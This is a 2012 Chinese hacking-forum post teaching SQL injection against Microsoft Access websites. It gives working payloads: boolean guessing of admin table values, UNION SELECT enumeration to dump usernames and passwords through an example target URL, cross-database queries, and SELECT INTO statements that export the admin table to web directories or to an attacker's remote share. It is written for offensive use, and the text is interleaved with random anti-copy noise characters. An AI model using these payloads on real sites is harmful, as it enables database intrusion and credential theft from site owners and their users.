找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2172|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------& S3 B" \6 ?" \7 k) _
union查询法$ h* q4 D! o; S6 F0 R) |
首先要说的就是查询办法,一般的查询办法就是: i# I: U' ^  A2 h  r; ~. g) f
) V7 ~1 l/ B, n/ {  x! X7 J+ s
程序代码
# ?# L* V0 t) ]* Eand 1=(select count(*) from admin where left(id,1)='1')% P& [; D! {: t, T1 R" R; r) {

5 e* m) w( }7 G* |- ?( r这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.0 ^- r# |. {9 z
所以这个时候,union select横空出现.别以为只能在PHP里用哦...( g8 @2 o+ S  o' j# j. L6 b( ?+ w
譬如你有一个ACCESS点:$ ^' o2 z) n& u( f' v
程序代码. ]! \2 f  c6 v/ C+ l. r6 a: C, d( ^8 n
http://bbs.tian6.com/xiaoyang.asp?coder=15 D# s* ]5 ^4 o3 [( S& H; x
6 M  v# p% J: Y$ d) u
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
9 L8 W  r4 ^( U9 ]2 x% U9 a然后我们直接来:
) k4 n6 n! B  i- B& V6 D! I程序代码$ a! M! }! Y: F- V& \$ v4 m* B
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
' W0 n* q( T* q7 T: z+ g: M/ |- S2 f5 T
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.! K/ w# {+ _/ z# ^9 ^6 D

/ R8 a8 a+ f* o* I
( B$ J" g/ }- e, p3 U6 R, i2 `9 y7 n# S( t
---------------------------------------------------------------
* {# N+ ^5 X  H: ]5 IAccess跨库查询
: Y8 w- K2 U# L+ W" W0 o+ d有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
# D; h, ?, c( M1 {8 w跨库的查询语句:
" _9 g' `% V1 Q) s7 j6 e9 I6 O6 U子查询:
- N2 J7 E3 p7 Q$ p6 V0 g( x3 L程序代码
: Y' l( ~: ]1 K, g! V: Gand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
5 q& G6 b' t. z4 D( G6 b+ J: f
union查询:' {2 s$ ]1 K" z0 @2 ?3 b. a
程序代码
* Z+ P& W, n- {7 W4 N. N0 Yunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
2 `2 h" G* v6 J" {- q* j9 q- T
- V! w. W- W7 B  J! u1 K跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:/ @1 @1 ?% M1 ]
程序代码
1 X. p" e2 \  h) V- `, nhttp://www.4ngel.net/article/46.htm * b# `# h- ^% T9 Q, R
http://hf110.com/Article/hack/rqsl/200502/66.html6 v7 k7 n9 Z+ w' h% E; B
! l3 C7 B$ r  I9 w
---------------------------------------------------------------
$ ~& ?7 J1 d+ i& D' H4 }. uAccess注入,导出txt,htm,html
9 z  }7 @0 |4 B* H& c4 L" K. R子查询语句:$ Y2 ~$ z1 |3 U6 q' X
程序代码" ]: R: e& c- K
Select * into [test.txt] in 'd:\web\' 'text;' from admin
- |1 F- z) q4 a  P. o5 ?& }$ F$ v
0 R3 ]0 k* h; ~& ^( b1 A这样就把admin表的内容以test类型存进了d:\web里面.8 A5 ~0 C- r' o0 f1 x0 t5 E
UNION查询:0 M/ d, n$ u! l( D  r% \
程序代码
9 K' i+ n( Y& L8 tunion select * into [admin.txt] in 'c:\' 'test;' from admin
" [0 A! ~0 ?& ?. J- ~! D
4 c6 b$ C8 ]9 d1 n3 H8 a而且这里也可以保存到本地来:
2 i. U1 K3 {  p, |. t程序代码" g1 D( ]+ _0 W8 f
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
. `3 P0 E. V" i% `6 K( E+ e
: G8 Z% e2 z  u' Q不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
$ W4 L& b) R5 ]* ~# [* X* t/ k* u4 V3 K- a" s2 u/ q+ }
程序代码1 E: a. q0 p' T( y
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7" K  r; Z" x4 {) W5 l

, `- h- C5 t# J; ]* ^/ D# U因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
) h9 Q, N4 N* f  s) j8 M( |8 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表